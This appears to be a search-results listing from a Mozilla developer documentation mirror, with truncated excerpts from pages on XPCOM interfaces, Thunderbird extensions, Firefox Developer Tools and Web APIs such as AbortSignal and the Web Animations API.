editor/idl/nsieditorobserver.idlscriptable used by applications wishing to be notified when the editor has completed a user action.
... 66 introduced gecko 1.0 obsolete gecko 18 inherits from: nsisupports last changed in gecko 1.7 method overview void editaction(); methods editaction() called after the editor completes a user action.
nsIEnumerator
} iter.next(); } while( components.lastresult == 0 ); } catch(e) {} search for e-mail from "warren harris" dated 04/21/1999 time 16:11:03 for some notes on the subject.
... you may need to use the google cache, since this version doesn't seem to be working so well.
nsIFeedResultListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleresult(in nsifeedresult result); methods handleresult() called when feed processing is complete.
...if you don't care about doing progress display or the like, this is all you need to implement in order to receive the parsed feed.
nsIFileStreams
close_on_eof 1<<2 if this is set, the file will close automatically when the end of the file is reached.
...(the file will only be reopened if it is closed for some reason.) methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to read from (must qi to nsilocalfile).
nsIGlobalHistory2
inherits from: nsisupports last changed in gecko 1.7 this interface replaces and deprecates nsiglobalhistory method overview void adduri(in nsiuri auri, in boolean aredirect, in boolean atoplevel, in nsiuri areferrer); boolean isvisited(in nsiuri auri); void setpagetitle(in nsiuri auri, in astring atitle); methods adduri() add a uri to global history.
... aredirect whether the uri was redirected to another location; this is true for the original uri which is redirected.
nsIIDNService
netwerk/dns/nsiidnservice.idlscriptable this interface provides support for internationalized domain names, including methods for manipulating idn hostnames according to ietf specification.
...see also idn charter idn site idna specification ...
nsIJumpListItem
jumplist_item_shortcut 3 application shortcut.
...compares the type and other properties specific to this item's type: separator - type link - type, uri, title shortcut - type, handler application boolean equals( in nsijumplistitem item ); parameters item another nsijumplistitem to compare to.
nsILoginManagerCrypto
can throw if the user cancels entry of their master password, or if the ciphertext value can not be successfully decrypted (for example, if it was encrypted with some other key).
...can throw if the user cancels entry of their master password.
nsIMsgCustomColumnHandler
it can be used in the thunderbird threadpane for extensions to overlay their own columns.
...) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); method overview astring getsortstringfor...
nsIMsgDBViewCommandUpdater
places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
... displaymessagechanged() called when the displayed message has changed.
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished.
... void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsIMsgThread
void addchild(in nsimsgdbhdr child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); parameters child the message to add inreplyto the message this should be in reply to threadinthread announcer an nsidbchangeannouncer to receive notification when the change is made.
... removechildat() void removechildat(in long index); parameters index the index to remove the message from removechildhdr() void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); parameters child the message to remove announcer an nsidbchangeannouncer to receive notification when the change is made.
nsIPasswordManager
netwerk/base/public/nsipasswordmanager.idlscriptable used to interface with the built-in password manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits from: nsisupports last changed in gecko 1.0 see using nsipasswordmanager for examples.
... void removereject(in autf8string ahost); parameters ahost the name of the hostname for which passwords can be saved again.
nsIPermission
last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports attributes attribute type description capability pruint32 the permission to set: allow, deny, or unknown (which is the default).
...this is a case-sensitive string.
nsIProxyInfo
type acstring this attribute specifies the type of the proxy server as a case insensitive ascii string.
...if this is the case, the hostname is used in some fashion, and we shouldn't do any form of dns lookup ourselves.
nsIPushMessage
inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) nsipushmessage is the subject of a push-message observer notification.
...when called from javascript, nsipushmessage.binary() returns data.
nsISSLSocketControl
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void proxystartssl(); void starttls(); attributes attribute type description forcehandshake boolean obsolete since gecko 1.9 notificationcallbacks nsiinterfacerequestor methods proxystartssl() starts an ssl proxy connection.
...this is used to encrypt plain-text data communication.
nsISmsDatabaseService
reverse a boolean indicating whether to reverse the ordering.
...value a boolean indicating whether a message is read or unread.
nsISmsRequestManager
nsismsrequestmanager dom/sms/interfaces/nsismsrequestmanager.idlscriptable used to manage sms related requests and notifications for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1.
...aread a boolean indicating whether a message is read or unread.
nsISmsService
delivery a domstring which can either be "received" or "sent" and is representing the way the sms was delivered.
... read a boolean indicating whether a message is marked as read or unread.
nsIStyleSheetService
a user sheet loaded via this api will come before usercontent.css and userchrome.css in the cascade (so the rules in it will have lower precedence than rules in those sheets).
... an agent sheet loaded via this api will come after ua.css in the cascade (so the rules in it will have higher precedence than rules in ua.css).
nsISupportsWeakReference
weak references in this scheme can only be produced for objects that implement this interface.
... remarks the xpcom glue library provides nssupportsweakreference, a canonical implementation of nsisupportsweakreference.
nsITaskbarPreviewButton
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface.
...this is not the same as visible, which indicates whether or not the button should be displayed at all.
nsIThreadEventFilter
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview boolean acceptevent(in nsirunnable event);violates the xpcom interface guidelines methods violates the xpcom interface guidelines acceptevent() this method is called to determine whether or not an event may be accepted by a nested event queue.
... (see nsithreadinternal.pusheventqueue()) warning: this method must not make any calls on the thread object.
nsITransportEventSink
inherits from: nsisupports last changed in gecko 1.7 method overview void ontransportstatus(in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax); methods ontransportstatus() transport status notification.
... void ontransportstatus( in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax ); parameters atransport the transport sending this status notification.
nsIURIFixupInfo
docshell/base/nsiurifixup.idlscriptable interface indicating what we found/corrected when fixing up a uri.
...may be null if we can't deliver (eg.
nsIURLParser
g schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen); void parseuserinfo(in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen); methods the string to parse in the methods may be given as a null terminated string, in which case the length argument should be -1.
... out parameters of the methods are all optional (that is the caller may pass-in a null value if the corresponding results are not needed).
nsIUserInfo
to get the service, use: var userinfo = components.classes["@mozilla.org/userinfo;1"] .getservice(components.interfaces.nsiuserinfo); you can then look at the userinfo object's attributes to learn what the system knows about the user.
... the concatenation of the user's login name and the computer's domain.
nsIVersionComparator
a version-part consists of up to four parts, all of which are optional: <number-a><string-b><number-c><string-d (everything else)> a version-part may also consist of a single asterisk "*" which indicates * "infinity".
...the service can be accessed directly via services.vc after loading services.jsm or with the following code: var versioncomparator = components.classes["@mozilla.org/xpcom/version-comparator;1"] .getservice(components.interfaces.nsiversioncomparator); method overview long compare(in acstring a, in acstring b); methods compare() compare two version strings.
nsIWebBrowserFind
matchcase boolean whether to match case (case sensitive) when searching.
... note: that you can control whether the search propagates into child or parent frames explicitly using nsiwebbrowserfindinframes, but if one, but not both, of searchsubframes and searchparentframes are set, this returns false.
nsIWorker
method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port.
... methods postmessage() used to allow the worker to send a message back to the web application that created it.
nsIXMLHttpRequestEventTarget
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type description onabort nsidomeventlistener a javascript function object that gets invoked if the operation is canceled by the user.
... handling the events when the handler functions for these events are called, they receive as a parameter a progressevent, which implements the nsidomprogressevent interface.
nsIXULBuilderListener
inherits from: nsisupports last changed in gecko 1.7 method overview void didrebuild(in nsixultemplatebuilder abuilder); void willrebuild(in nsixultemplatebuilder abuilder); methods didrebuild() called after a template builder has rebuilt its content.
... willrebuild() called before a template builder rebuilds its content.
nsIXULSortService
obsolete since gecko 1.9 void sort(in nsidomnode anode, in astring asortkey, in astring asorthints); constants constant value description sort_comparecase 0x0001 sort_integer 0x0100 methods native code only!insertcontainernode obsolete since gecko 1.9 (firefox 3)this feature is obsolete.
...asorthints one or more hints as to how to sort: ascending: sort the contents in ascending order descending: sort the contents in descending order comparecase: perform case sensitive comparisons integer: treat values as integers, non-integers are compared as strings twostate: do not allow the natural (unordered state) see also nsixultemplatequeryprocessor ...
nsMsgSearchScope
arch/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const nsmsgsearchscopevalue localnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopevalue ldapand = 12; // imap and news, searched us...
...ing local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local news + junk const nsmsgsearchscopevalue localnewsjunk = 14; /// local news + body const nsmsgsearchscopevalue localnewsbody = 15; /// local news + junk + body const nsmsgsearchscopevalue localnewsjunkbody = 16; }; ...
NS_ADDREF
do not use when the pointer might be null; use ns_if_addref in those cases.
... ns_addref(foo) is equivalent to foo->addref(); this macro exists mainly for historical reasons, but for consistency and for symmetry with ns_release it should still be used.
NS_ASSERTION
the behavior of an assertion failure can be controlled using the xpcom_debug_break environment variable.
... an assertion failure should be thrown on critical program errors only.
NS_StringGetData
« xpcom api reference summary the ns_stringgetdata function gives the caller access to the string's internal buffer.
...aterminated [out] this optional result parameter indicates whether or not adata is null-terminated.
nsGetModuleProc
#include "nsxpcom.h" typedef nsresult (pr_callback *nsgetmoduleproc)( nsicomponentmanager *acompmgr, nsifile* alocation, nsimodule** aresult ); parameters acompmgr [in] the xpcom component manager.
... alocation [in] the location of the module if any.
XPCOM Thread Synchronization
quick reference: difference between nsautolock api and new api old construction note: this is deprecated code that is shown only to compare with approved code.
... } old usage note: this is deprecated code that is shown only to compare with approved code.
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser from content javascript.
... (see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
Status, Recent Changes, and Plans
eliminated the need to cast getter_addrefs when an nsisupports** is needed.
... bug 59414: making operator& private may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library.
Using nsIClassInfo
if you use a c++ class which implements nsiclassinfo from javascript, then you don't have to explicitly call queryinterface on the javascript object to access the object's interfaces.
... if you're writing javascript code which uses a c++ class implementing nsiclassinfo, you don't need to do anything to activate the auto-interface magic which makes calling queryinterface unnecessary.
Using the Gecko SDK
the abi of the component interfaces depends on the c++ abi of the host compiler (i.e., the vtable format and calling conventions of the virtual methods may vary from compiler to compiler).
...(<tt>about:buildconfig</tt> can be loaded in mozilla to reveal details about the compiler that was used.) for the remainder of this guide, we'll assume you are developing components under linux.
xpidl
MozillaTechXPIDLxpidl
it generates: c++ header files (.h), with a commented template for full c++ implementation of the interface xpconnect typelib files (.xpt), with runtime type information to dynamically call xpcom objects through xpconnect note: starting in gecko 9.0, xpidl has been replaced with pyxpidl in the gecko sdk.
...for testing purposes, or one-off interface compilation, xpidl can be run from the command line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (recommended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithin...
Mail client architecture overview
events - as data changes throughout the mail application, the event system notifies key components such as datasources and the url system of these changes.
...this library has the cabability to stream messages to an html renderer such as gecko, manage individual parts of messages, and so forth.
Mailbox
the mailbox protocol is used to read messages from a local folder berkeley mailbox.
...this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc.
FAQ
the old contents of this faq page were duplicated in the setting up extension development environment article and the building a thunderbird extension article.
... (duplicate content has been removed from this page.) other resources can be found on the thunderbird extension development portal page.
Add Option to Context Menu
this can be reached by adding these lines to the chrome.manifest file: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb2.xul appversion<3.0 overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb3.xul appversion=>3.0 than we need two overlay xul files with content from examples above.
... note: if our extension supports more mozilla applications (for example mozilla firefox and mozilla thunderbird) we need also specify application flag.
Get Thunderbird version
on thunderbird version 3.0b3pre and later, you can use the following snippet to get the thunderbird version.
... (version 3.0b3pre was the first build to include steel.) var versionchecker = components.classes["@mozilla.org/xpcom/version-comparator;1"].getservice(components.interfaces.nsiversioncomparator); if (versionchecker.compare(application.version, "3.0b4") >= 0) // code for >= 3.0b4 else // code for < 3.0b4 for versions prior to 3.0b3pre, you can use something like this: var version; if ( "@mozilla.org/xre/app-info;1" in components.classes ) version = components.classes["@mozilla.org/xre/app-info; 1"].getservice(components.interfaces.nsixulappinfo).version; else version = components.classes["@mozilla.org/preferences-service; 1"].getservice(components.interfaces.nsiprefbranch).getcharpref ("app.version"); var versionchecker = components.classes["@mozilla.org/xpcom/version- compara...
Using JS in Mozilla code
js language features proper tail calls are not implemented.
... js standard library features feature standard can be used in code new proxy(target, handler) es2015 yes, but getprototypeof and setprototypeof handlers are not yet implemented.
Debugging Tips
rt("resource://gre/modules/ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p); let pp = p.address(); console.log(pp); the result will be as following: cdata { value: 10 } cdata { x: 10, y: 20 } cdata { contents: cdata } to see more descriptive information, you can use .tosource().
...ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i.tosource()); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p.tosource()); let pp = p.address(); console.log(pp.tosource()); the result will be : ctypes.int32_t(10) point(10, 20) point.ptr(ctypes.uint64("0x15fdafb08")) to see the complete type information, you can use .constructor.tosource(), to print the source of ctype.
Blocking By Domain - Plugins
criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts.
... sites in this category may include advertisers, social media sites, and other utilities.
Debug worker threads - Firefox Developer Tools
you can open the javascript file for the worker process and set breakpoints and logpoints just as you can with javascript code running on the main thread.
... you can set a breakpoint (or logpoint) on any active worker thread: when execution is paused in a worker thread, the context of the debugger is updated to show the correct breakpoints, call stack, etc., just as you'd expect.
Access debugging in add-ons - Firefox Developer Tools
we are planning to deprecate the use by firefox add-ons of the techniques described in this document.
... the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
Set watch expressions - Firefox Developer Tools
when the debugger reaches a breakpoint, it will display your watch expressions variables: you can step through your code, watching the value of the expression as it changes.
...you can remove a watch expression by clicking the "x" icon next to it, and you can have more than one watch expression at a time.
Set a conditional breakpoint - Firefox Developer Tools
you'll then see a textbox where you can enter the expression.
...you can use this to modify an existing condition or to add a condition to a normal breakpoint.
Use a source map - Firefox Developer Tools
this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript.
... the compiled source contains a comment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Measure a portion of the page - Firefox Developer Tools
using the measuring tool you can measure a specific area of a web page.
...the rectangle can also be resized later on by clicking one of the handles around it.
Network monitor toolbar - Firefox Developer Tools
a set of tool icons: pause (or resume) recording network log search the log request blocking an array of buttons to filter the network request list by type: by the content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a checkbox that allows you to disable caching.
... save all as har opens a file dialog box so you can save the current contents of the network log as a har file with the extension .har.
Network Monitor - Firefox Developer Tools
the just opened tool looks like this: either action causes the network monitor to begin monitoring network activity.
...this means you can start debugging a page in, for example, the web console, then switch to the network monitor to see network activity without having to reload the page.
Examine Event Listeners - Firefox Developer Tools
ee a popup listing all the event listeners bound to this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to this element the name and line number for the listener; you can also click here to expand the row and view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
... firefox can display: standard dom events jquery events react events ...
Select an element - Firefox Developer Tools
click an element in the html pane to select it: you can also use the arrow keys to move around the dom with the keyboard.
... with the node picker to select an element in the page itself, activate the "node picker" by clicking its icon: (also called the select element icon).
Select and highlight elements - Firefox Developer Tools
click an element in the html pane to select it: you can also use the arrow keys to move around the dom with the keyboard.
... with the node picker to select an element in the page itself, activate the "node picker" by clicking its icon: (also called the select element icon).
Animation inspector example: CSS transitions - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#sel...
...ected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript content function toggleselection(e) { if (e.button != 0) { return; } if (e.target.classlist.contains("icon")) { var wasselected = (e.target.getattribute("id") == "selected"); clearselection(); if (!wasselected) { e.target.setattribute("id", "selected"); } } } function clearselection() { var selected = document.getelementbyid("selected"); if (selected) { selected.removeattribute("id"); } } document.addeventlistener("click", toggleselection); ...
Animation inspector example: Web Animations API - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(10...
...0%)', offset: 0.333}, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)'} ]; var notekeyframeset = [ { opacity: '0', width: '0'}, { opacity: '1', width: '300px'} ]; var iconkeyframeoptions = { duration: 750, fill: 'forwards', easing: 'ease-in', enddelay: 100 } var notekeyframeoptions = { duration: 500, fill: 'forwards', easing: 'ease-out', delay: 150 } var icon = document.getelementbyid("icon"); var note = document.getelementbyid("note"); var iconanimation = icon.animate(iconkeyframeset, iconkeyframeoptions); var noteanimation = note.animate(notekeyframeset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } i...
Page inspector keyboard shortcuts - Firefox Developer Tools
command windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
... end end end expand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so you can start stepping through attributes.
How to - Firefox Developer Tools
to stop, press it again: you can also start and stop recording from the web console, using console.profile() and console.profileend().
... select a tool to switch between the waterfall, call tree, and flame chart tools, use the buttons in the toolbar: configure markers displayed to control which markers are shown in the waterfall, use the button in the toolbar: zoom in to zoom into a slice of the recording, select that slice in the recording overview: ...
Remote Debugging - Firefox Developer Tools
you can use the firefox developer tools on your desktop to debug web sites and web apps running in other browsers or runtimes.
... you can connect the developer tools to gecko-based runtimes like firefox desktop, firefox for android, and thunderbird.
Web Console - Firefox Developer Tools
helper commands commands you can use that are not part of javascript.
... the toolbox appear at the bottom, left, or right of the browser window (depending on your docking settings), with the web console activated (it's just called console in the devtools toolbar).
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
in addition, it can execute multiple instances of the range of elements.
... examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawarraysinstancedangle(gl.points, 0, 8, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
in addition, it can execute multiple instances of a set of elements.
... examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawelementsinstancedangle(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
AbortSignal: abort event - Web APIs
bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a new abortcontroller object, and get its abortsignal (available in the signal property).
... you can use the abort event in an addeventlistener method: var controller = new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status domthe definition of 'abort' in that specification.
AbortSignal.aborted - Web APIs
the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false).
...console.log('request has been aborted') : console.log('request not aborted'); specifications specification status comment domthe definition of 'onabort' in that specification.
AbortSignal.onabort - Web APIs
when the fetch request(s) the signal is communicating with is/are aborted.
... var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification.
AbstractRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
... living standard static rangethe definition of 'collapsed' in that specification.
AbstractRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
... living standard static rangethe definition of 'startcontainer' in that specification.
AbstractWorker.onerror - Web APIs
the abstractworker.onerror property of the abstractworker interface represents an eventhandler, that is a function to be called when the error event occurs and bubbles through the worker.
...}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
AbstractWorker - Web APIs
you can find more examples on the mdn web docs github repository: basic dedicated worker example (run dedicated worker).
... specifications specification status comment html living standardthe definition of 'abstractworker' in that specification.
AddressErrors.addressLine - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.addressline' in that specification.
... candidate recommendation initial definition.
AddressErrors.city - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.city' in that specification.
... candidate recommendation initial definition.
AddressErrors.country - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.country' in that specification.
... candidate recommendation initial definition.
AddressErrors.languageCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.languagecode' in that specification.
... candidate recommendation initial definition.
AddressErrors.organization - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.organization' in that specification.
... candidate recommendation initial definition.
AddressErrors.phone - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.phone' in that specification.
... candidate recommendation initial definition.
AddressErrors.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.postalcode' in that specification.
... candidate recommendation initial definition.
AddressErrors.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.recipient' in that specification.
... candidate recommendation initial definition.
AddressErrors.region - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.region' in that specification.
... candidate recommendation initial definition.
AddressErrors.regionCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.regioncode' in that specification.
... candidate recommendation initial definition.
AddressErrors.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.sortingcode' in that specification.
... candidate recommendation initial definition.
AesCbcParams - Web APIs
must be 16 bytes, unpredictable, and preferably cryptographically random.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aescbcparams' in that specification.
Animation.commitStyles() - Web APIs
it will cause the end styling state to be written to the element being animated, in the form of properties inside a style attribute.
... examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); }); specifications specification status comment web animationsthe definition of 'commitstyles()' in that specification.
Animation.effect - Web APIs
WebAPIAnimationeffect
syntax var effect = animation.effect; animation.effect = animationeffectreadonly value a animationeffectreadonly object describing the target animation effect for the animation, or null to indicate no active effect.
... specifications specification status comment web animationsthe definition of 'animation.effect' in that specification.
Animation.id - Web APIs
WebAPIAnimationid
syntax var animationsid = animation.id; animation.id = newidstring; value a domstring which can be used to identify the animation, or null if the animation has no id.
... examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification.
Animation.pending - Web APIs
WebAPIAnimationpending
the read-only animation.pending property of the web animations api indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
... specifications specification status comment web animationsthe definition of 'pending' in that specification.
AnimationEvent.elapsedTime - Web APIs
for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... syntax time = animationevent.elapsedtime specifications specification status comment css animationsthe definition of 'animationevent.elapsedtime' in that specification.
AnimationPlaybackEvent.currentTime - Web APIs
in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification status comment web animationsthe definition of 'animationplaybackevent.currenttime' in that specification.
AnimationTimeline.currentTime - Web APIs
in firefox, you can also enable privacy.resistfingerprinting; the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
Attr.prefix - Web APIs
WebAPIAttrprefix
specifications specification status comment domthe definition of 'attr: prefix' in that specification.
... living standard dom4the definition of 'attr.prefix' in that specification.
AudioBuffer.getChannelData() - Web APIs
you can also run the code live, or view the source.
... // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification.
AudioBuffer.sampleRate - Web APIs
syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); myarraybuffer.samplerate; value a floating-point value indicating the current sample rate of the buffers data, in samples per second.
... = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status comment web audio apithe definition of 'samplerate' in that specification.
AudioBufferSourceNode.detune - Web APIs
value a k-rate audioparam whose value indicates the detuning of oscillation in cents.
